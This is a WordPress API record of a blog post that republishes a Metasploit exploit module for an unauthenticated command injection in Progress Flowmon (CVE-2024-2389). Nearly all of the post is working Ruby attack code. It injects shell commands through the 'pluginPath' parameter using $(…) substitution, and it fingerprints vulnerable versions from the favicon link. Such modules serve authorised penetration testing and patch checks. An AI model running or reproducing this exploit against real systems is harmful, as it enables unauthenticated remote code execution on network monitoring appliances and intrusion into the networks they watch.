{"id":57112,"date":"2024-05-29T14:59:37","date_gmt":"2024-05-29T10:59:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178849\/progress_flowmon_unauth_cmd_injection.rb.txt"},"modified":"2024-05-29T14:59:37","modified_gmt":"2024-05-29T10:59:37","slug":"flowmon-unauthenticated-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/flowmon-unauthenticated-command-injection\/","title":{"rendered":"Flowmon Unauthenticated Command Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Flowmon Unauthenticated Command Injection&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated command injection vulnerability in Progress Flowmon<br \/>versions before v12.03.02.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Dave Yesland with Rhino Security Labs&#8217;,<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-2389&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/rhinosecuritylabs.com\/research\/cve-2024-2389-in-progress-flowmon\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/support.kemptechnologies.com\/hc\/en-us\/articles\/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-04-23&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]},<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [[&#8216;Automatic&#8217;, {}]],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 443<br \/>}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path to Flowmon&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def execute_command(cmd)<br \/>send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;service.pdfs&#8217;, &#8216;confluence&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;file&#8217; =&gt; rand_text_alphanumeric(8),<br \/>&#8216;lang&#8217; =&gt; rand_text_alphanumeric(8),<br \/>&#8216;pluginPath&#8217; =&gt; &#8220;$(#{cmd})&#8221;<br \/>}<br \/>)<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8216;Attempting to execute payload&#8230;&#8217;)<br \/>execute_command(payload.encoded)<br \/>end<\/p>\n<p>def check<br \/>print_status(&#8220;Checking if #{peer} can be exploited!&#8221;)<\/p>\n<p>uri = normalize_uri(target_uri.path, &#8216;homepage\/auth\/login&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res<br \/>return CheckCode::Safe(&#8216;Target does not appear to be running Progress Flowmon&#8217;) unless res.code == 200 &amp;&amp; res.get_html_document.xpath(&#8216;\/\/title&#8217;).text == &#8216;Flowmon Web Interface&#8217;<\/p>\n<p># Use a regular expression to extract the version number from the response<br \/>version = res.body.match(%r{\/favicon\\.ico\\?v=([\\d.]+)})<\/p>\n<p>return CheckCode::Unknown(&#8216;Unable to determine the version from the favicon link.&#8217;) unless version &amp;&amp; version[1]\n<p>print_status(&#8220;Detected version: #{version[1]}&#8221;)<\/p>\n<p>if Rex::Version.new(version[1]) &lt;= Rex::Version.new(&#8216;12.03.02&#8217;)<br \/>CheckCode::Vulnerable(&#8220;Version #{version[1]} is vulnerable.&#8221;)<br \/>else<br \/>CheckCode::Safe(&#8220;Version #{version[1]} is not vulnerable.&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Flowmon Unauthenticated Command Injection&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an unauthenticated command injection vulnerability in Progress Flowmonversions before v12.03.02.},&#8216;Author&#8217; =&gt; [&#8216;Dave Yesland with Rhino Security Labs&#8217;,],&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;References&#8217; =&gt; [[&#8216;CVE&#8217;, &#8216;2024-2389&#8217;],[&#8216;URL&#8217;, &#8216;https:\/\/rhinosecuritylabs.com\/research\/cve-2024-2389-in-progress-flowmon\/&#8217;],[&#8216;URL&#8217;, &#8216;https:\/\/support.kemptechnologies.com\/hc\/en-us\/articles\/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability&#8217;]],&#8216;DisclosureDate&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57112","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57112","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57112"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57112\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}